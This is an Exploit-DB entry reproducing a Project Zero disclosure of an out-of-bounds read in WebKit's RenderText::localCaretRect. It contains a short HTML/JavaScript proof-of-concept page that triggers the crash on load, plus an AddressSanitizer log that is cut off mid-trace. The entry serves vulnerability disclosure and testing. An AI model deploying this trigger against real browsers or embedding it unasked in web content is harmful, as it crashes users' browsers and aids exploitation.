Exploit-DB #43170
Description: WebKit - 'WebCore::RenderText::localCaretRect' Out-of-Bounds Read
Type: dos
Platform: multiple
Date: 2017-11-22
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1348

There is an out-of-bounds read security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
*/

<style>
* { max-height: 0; -webkit-text-combine: horizontal; -webkit-writing-mode: vertical-rl; }
</style>
<script>
function go() {
  window.getSelection().setPosition(h,1);
  document.execCommand("delete", false);
  document.execCommand("delete", false);
}
</script>
<body onload=go()>
<listing>
<dd contenteditable="true">
<h3 id="h">I>EO~P</h3>

/*
=================================================================

ASan log:

=================================================================
==30388==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000f5de6 at pc 0x00010ff1c575 bp 0x7fff5a427300 sp 0x7fff5a4272f8
READ of size 2 at 0x6030000f5de6 thread T0
==30388==WARNING: invalid path to external symbolizer!
==30388==WARNING: Failed to use and restart external symbolizer!
    #0 0x10ff1c574 in WTF::StringImpl::at(unsigned int) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b574)
    #1 0x110edd834 in WebCore::InlineTextBox::isLineBreak() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfec834)
    #2 0x110ee587f in WebCore::InlineTextBox::positionForOffset(unsigned int) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xff487f)
    #3 0x1127d5bda in WebCore::RenderText::localCaretRect(WebCore::InlineBox*, unsigned int, WebCore::LayoutUnit*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28e4bda)
    #4 0x112fd2830 in WebCore::VisiblePosition::localCaretRect(WebCore::RenderObject*&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30e1830)
    #5 0x1107e0e5d in WebCore::localCaretRectInRendererForCaretPainting(WebCore::VisiblePosition const&, WebCore::RenderBlock*&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8efe5d)
    #6 0x110a5912d in WebCore::CaretBase::updateCaretRect(WebCore::Document*, WebCore::VisiblePosition const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb6812d)
    #7 0x110a6377b in WebCore::FrameSelection::recomputeCaretRect() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb7277b)
    #8 0x110a5b2f8 in WebCore::FrameSelection::updateAppearance() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb6a2f8)
    #9 0x110a5aee7 in WebCore::FrameSelection::updateAndRevealSelection(WebCore::AXTextStateChangeIntent const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb69ee7)
    #10 0x110a67a6f in WebCore::FrameSelection::updateAppearanceAfterLayoutOrStyleChange() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb76a6f)
    #11 0x110a6d63a in WebCore::FrameView::performPostLayoutTasks() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb7c63a)
    #12 0x110a75d4a in WebCore::FrameView::layout(bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb84d4a)
    #13 0x110681b10 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790b10)
    #14 0x110688542 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x797542)
    #15 0x11061562b in WebCore::DeleteSelectionCommand::fixupWhitespace() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x72462b)
    #16 0x1106178f3 in WebCore::DeleteSelectionCommand::doApply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7268f3)
    #17 0x1102a19fa in WebCore::CompositeEditCommand::applyCommandToComposite(WTF::Ref<WebCore::EditCommand>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b09fa)
    #18 0x1102a653a in WebCore::CompositeEditCommand::deleteSelection(WebCore::VisibleSelection const&, bool, bool, bool, bool, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b553a)
    #19 0x112ede1d5 in WebCore::TypingCommand::deleteKeyPressed(WebCore::TextGranularity, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fed1d5)
    #20 0x112eddab3 in WebCore::TypingCommand::deleteKeyPressed(WebCore::Document&, unsigned int, WebCore::TextGranularity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fecab3)
    #21 0x110823470 in WebCore::executeDelete(WebCore::Frame&, WebCore::Event*, WebCore::EditorCommandSource, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x932470)
    #22 0x110821ab3 in WebCore::Editor::Command::execute(WTF::String const&, WebCore::Event*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x930ab3)
    #23 0x1106a200a in WebCore::Document::execCommand(WTF::String const&, bool, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b100a)
    #24 0x111297593 in WebCore::j